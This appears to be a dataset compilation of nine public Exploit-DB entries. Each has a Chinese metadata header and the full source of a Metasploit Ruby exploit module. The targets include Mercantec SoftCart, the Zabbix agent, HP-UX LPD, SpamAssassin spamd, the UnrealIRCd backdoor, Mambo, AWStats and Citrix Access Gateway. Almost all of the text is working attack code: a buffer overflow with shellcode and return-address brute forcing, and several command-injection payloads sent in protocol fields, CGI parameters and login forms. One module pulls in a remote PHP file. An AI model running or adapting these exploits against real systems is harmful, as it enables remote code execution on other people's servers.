QLWD/code_shield huggingface dataset:
标题: Mercantec SoftCart - CGI Overflow (Metasploit) EDB-ID: 16926 CVE: 2004-2221 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: mercantec_softcart.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Brute
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercantec SoftCart CGI Overflow',
   'Description'    => %q{
    This is an exploit for an undisclosed buffer overflow
    in the SoftCart.exe CGI as shipped with Mercantec's shopping
    cart software.  It is possible to execute arbitrary code
    by passing a malformed CGI parameter in an HTTP GET
    request.  This issue is known to affect SoftCart version
    4.00b.
   },
   'Author'         => [ 'skape', 'trew' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-2221'],
     [ 'OSVDB', '9011'],
     [ 'BID', '10926'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
     'MinNops'  => 16,
     'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
     'PrependEncoder' => "\x83\xec\x7f",
    },
   'Platform'       => 'bsdi',
   'Targets'        =>
    [
     [
      'BSDi/4.3 Bruteforce',
      {
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xefbf3000 },
         'Stop'  => { 'Ret' => 0xefbffffc },
         'Step'  => 0
        }
      },
     ],
    ],
   'DisclosureDate' => 'Aug 19 2004',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
   ], self.class)
 end

 def brute_exploit(address)
  if not (@mercantec)
   res = send_request_raw({
    'uri'   => datastore['URI']
   }, 5)
   @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
   raise RuntimeError, "The target is not a Mercantec CGI" if not @mercantec
  end

  buffer =
   "MAA+scstoreB" +
   rand_text_alphanumeric(512) +
   [address['Ret']].pack('V') +
   "MSF!" +
   [address['Ret'] + payload.encoded.length].pack('V') +
   payload.encoded

  print_status("Trying #{"%.8x" % address['Ret']}...")
  res = send_request_raw({
   'uri'   => datastore['URI'],
   'query' => buffer
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16926
标题: Zabbix Agent - 'net.tcp.listen' Command Injection (Metasploit) EDB-ID: 16918 CVE: 2009-4502 类型: REMOTE 平台: FREEBSD 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: zabbix_agent_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Zabbix Agent net.tcp.listen Command Injection',
   'Description'    => %q{
     This module exploits a metacharacter injection vulnerability
    in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
    can only be exploited if the attacker can hijack the IP address
    of an authorized server (as defined in the configuration file).
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2009-4502' ],
     [ 'OSVDB', '60956' ],
     [ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'BadChars'    => "'",
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 10 2009'))

  register_options(
   [
    Opt::RPORT(10050)
   ], self.class)
 end

 def exploit
  connect

  rnd_port = rand(1024) + 1
  buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"

  print_status("Sending net.tcp.listen() request to the zabbix agent...")
  sock.put(buf)

  res = nil
  begin
   res = sock.get_once(-1, 5)
  rescue ::EOFError
  end

  if ! res
   print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
   disconnect
   return
  end

  if (res =~ /ZBX_NOTSUPPORTED/)
   print_status("The zabbix agent is not running a vulnerable version or operating system.")
   disconnect
   return
  end

  if(res !~ /ZBXD/)
   print_status("The zabbix agent returned an unknown response.")
   disconnect
   return
  end

  print_status("The zabbix agent should have executed our command.")
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16918
标题: HP-UX LPD - Command Execution (Metasploit) EDB-ID: 16927 CVE: 2002-1473 类型: REMOTE 平台: HP-UX 发布日期: 2010-10-06 漏洞利用脚本: ##
# $Id: cleanup_exec.rb 10561 2010-10-06 00:53:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP-UX LPD Command Execution',
   'Description'    => %q{
     This exploit abuses an unpublished vulnerability in the
    HP-UX LPD service. This flaw allows an unauthenticated
    attacker to execute arbitrary commands with the privileges
    of the root user. The LPD service is only exploitable when
    the address of the attacking system can be resolved by the
    target. This vulnerability was silently patched with the
    buffer overflow flaws addressed in HP Security Bulletin
    HPSBUX0208-213.
   },
   'Author'         => [ 'hdm' ],
   'Version'        => '$Revision: 10561 $',
   'References'     =>
    [
     [ 'CVE', '2002-1473'],
     [ 'OSVDB', '9638'],
     [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

    ],
   'Platform'       => [ 'unix', 'hpux' ],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 200,
     'DisableNops' => true,
     'BadChars'    => "\x00\x09\x20\x2f",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 28 2002'
  ))

  register_options(
   [
    Opt::RPORT(515)
   ], self.class)
 end

 def exploit

  # The job ID is squashed down to three decimal digits
  jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

  # Connect to the LPD service
  connect

  print_status("Sending our job request with embedded command string...")
  # Send the job request with the encoded command
  sock.put(
   "\x02" + rand_text_alphanumeric(3) + jid +
   "`" + payload.encoded + "`\n"
  )

  res = sock.get_once(1)
  if !(res and res[0,1] == "\x00")
   print_status("The target did not accept our job request")
   return
  end

  print_status("Sending our fake control file...")
  sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
  res = sock.get_once(1)
  if !(res and res[0,1] == "\x00")
   print_status("The target did not accept our control file")
   return
  end

  print_status("Forcing an error and hijacking the cleanup routine...")

  begin
   sock.put(rand_text_alphanumeric(16384))
   disconnect
  rescue
  end

 end

end URL: https://www.exploit-db.com/exploits/16927
标题: SpamAssassin spamd - Remote Command Execution (Metasploit) EDB-ID: 16920 CVE: 2006-2447 类型: REMOTE 平台: LINUX 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: spamassassin_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SpamAssassin spamd Remote Command Execution',
   'Description'    => %q{
     This module exploits a flaw in the SpamAssassin spamd service by specifying
    a malicious vpopmail User header, when running with vpopmail and paranoid
    modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-2447' ],
     [ 'OSVDB', '26177' ],
     [ 'BID', '18290' ],
     [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Jun 06 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(783)
   ], self.class)
 end

 def exploit
  connect

  content = Rex::Text.rand_text_alpha(20)

  sploit = "PROCESS SPAMC/1.2\r\n"
  sploit << "Content-length: #{(content.length + 2)}\r\n"
  sploit << "User: ;#{payload.encoded}\r\n\r\n"
  sploit << content + "\r\n\r\n"

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16920
标题: UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) EDB-ID: 16922 CVE: 2010-2075 类型: REMOTE 平台: LINUX 发布日期: 2010-12-05 漏洞利用脚本: ##
# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
   'Description'    => %q{
     This module exploits a malicious backdoor that was added to the
    Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
    Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11227 $',
   'References'     =>
    [
     [ 'CVE', '2010-2075' ],
     [ 'OSVDB', '65445' ],
     [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jun 12 2010'))

  register_options(
   [
    Opt::RPORT(6667)
   ], self.class)
 end

 def exploit
  connect

  print_status("Connected to #{rhost}:#{rport}...")
  banner = sock.get_once(-1, 30)
  banner.to_s.split("\n").each do |line|
   print_line("    #{line}")
  end

  print_status("Sending backdoor command...")
  sock.put("AB;" + payload.encoded + "\n")

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16922
标题: Mambo - Cache_Lite Class MosConfig_absolute_path Remote File Inclusion (Metasploit) EDB-ID: 16912 CVE: 2008-2905 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: mambo_cache_lite.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include',
   'Description'    => %q{
     This module exploits a remote file inclusion vulnerability in
    includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo
    4.6.4 and earlier.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2008-2905' ],
     [ 'OSVDB', '46173' ],
     [ 'BID', '29716' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 32768,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jun 14 2008',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]),
   ], self.class)
 end

 def php_exploit

  timeout = 0.01
  uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
  print_status("Trying uri #{uri}")

  response = send_request_raw( {
    'global' => true,
    'uri' => uri,
   },timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16912
标题: The Matt Wright Guestbook.pl - Arbitrary Command Execution (Metasploit) EDB-ID: 16914 CVE: 1999-1053 类型: WEBAPPS 平台: CGI 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Matt Wright guestbook.pl Arbitrary Command Execution',
   'Description'    => %q{
    The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
    a flaw that may allow arbitrary command execution. The vulnerability
    requires that HTML posting is enabled in the guestbook.pl script, and
    that the web server must have the Server-Side Include (SSI) script
    handler enabled for the '.html' file type. By combining the script
    weakness with non-default server configuration, it is possible to exploit
    this vulnerability successfully.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9671 $',
   'References'     =>
    [
     [ 'CVE', '1999-1053' ],
     [ 'OSVDB', '84' ],
     [ 'BID', '776' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => [ 'unix', 'win', 'linux' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 05 1999',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
     OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
    ], self.class)
 end

 def exploit
  realname = rand_text_alphanumeric(20)
  email  = rand_text_alphanumeric(20)
  city  = rand_text_alphanumeric(20)
  state  = rand_text_alphanumeric(20)
  country  = rand_text_alphanumeric(20)

  sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')

  req1 = send_request_cgi({
   'uri'     => datastore['URI'],
   'method'  => 'POST',
   'data'    => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
  }, 25)

  req2 = send_request_raw({
   'uri'     => datastore['URIOUT'],
  }, 25)

 end
end URL: https://www.exploit-db.com/exploits/16914
标题: AWStats 6.1 < 6.2 - 'configdir' Remote Command Execution (Metasploit) EDB-ID: 16905 CVE: 2005-0116 类型: WEBAPPS 平台: CGI 发布日期: 2009-12-26 漏洞利用脚本: ##
# $Id: awstats_configdir_exec.rb 7970 2009-12-26 03:31:20Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AWStats configdir Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in the
     AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
     are vulnerable.
   },
   'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 7970 $',
   'References'     =>
    [
     ['CVE', '2005-0116'],
     ['OSVDB', '13002'],
     ['BID', '12298'],
     ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 512,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jan 15 2005',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
    ], self.class)
 end

 def check
  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'vars_get' =>
   {
    'configdir' => '|echo;cat /etc/hosts;echo|'
   }
  }, 25)

  if (res and res.body.match(/localhost/))
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  command = Rex::Text.uri_encode(payload.encoded)
  urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"

  res = send_request_raw({
   'uri'     => urlconfigdir,
   'method'  => 'GET',
   'headers' =>
   {
    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
    'Connection' => 'Close',
   }
  }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")

   m = res.body.match(/YYY\n(.*)\nYYY/m)

   if (m)
    print_status("Command output from the server:")
    print("\n" + m[1] + "\n\n")
   else
    print_status("This server may not be vulnerable")
   end
  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/16905
标题: Citrix Access Gateway - Command Execution (Metasploit) EDB-ID: 16916 CVE: 2010-4566 类型: REMOTE 平台: LINUX 发布日期: 2011-03-03 漏洞利用脚本: ##
# $Id: citrix_access_gateway_exec.rb 11873 2011-03-03 20:51:12Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Citrix Access Gateway Command Execution',
   'Description'    => %q{
     The Citrix Access Gateway provides support for multiple authentication types.
    When utilizing the external legacy NTLM authentication module known as
    ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
    line utility to verify a user's identity and password.  By embedding shell
    metacharacters in the web authentication form it is possible to execute
    arbitrary commands on the Access Gateway.
   },
   'Author'         =>
    [
     'George D. Gal', # Original advisory
     'Erwin Paternotte', # Exploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11873 $',
   'References'     =>
    [
     [ 'CVE', '2010-4566' ],
     [ 'OSVDB', '70099' ],
     [ 'BID', '45402' ],
     [ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 127,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd cmd_bash',
       'RequiredCmd' => 'generic telnet bash-tcp'
      }
    },
   'DefaultOptions' =>
    {
     'WfsDelay' => 30
    },
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Dec 21 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(443),
    OptBool.new('SSL', [ true, 'Use SSL', true ]),
   ], self.class)

 end

 def post(command, background)
  username = rand_text_alphanumeric(20)

  if background
   sploit = Rex::Text.uri_encode('|' + command + '&')
  else
   sploit = Rex::Text.uri_encode('|' + command)
  end

  data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="
  data << username
  data << "&password="
  data << sploit

  res = send_request_cgi({
   'uri'     => '/',
   'method'  => 'POST',
   'data'    => data
  }, 25)
 end

 def check
  print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")

  # Try running/timing 'ping localhost' to determine is system is vulnerable
  start = Time.now
  post("ping -c 10 127.0.0.1", false)
  elapsed = Time.now - start
  if elapsed >= 3
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  cmd = payload.encoded

  if not post(cmd, true)
   raise RuntimeError, "Unable to execute the desired command"
  end
 end
end URL: https://www.exploit-db.com/exploits/16916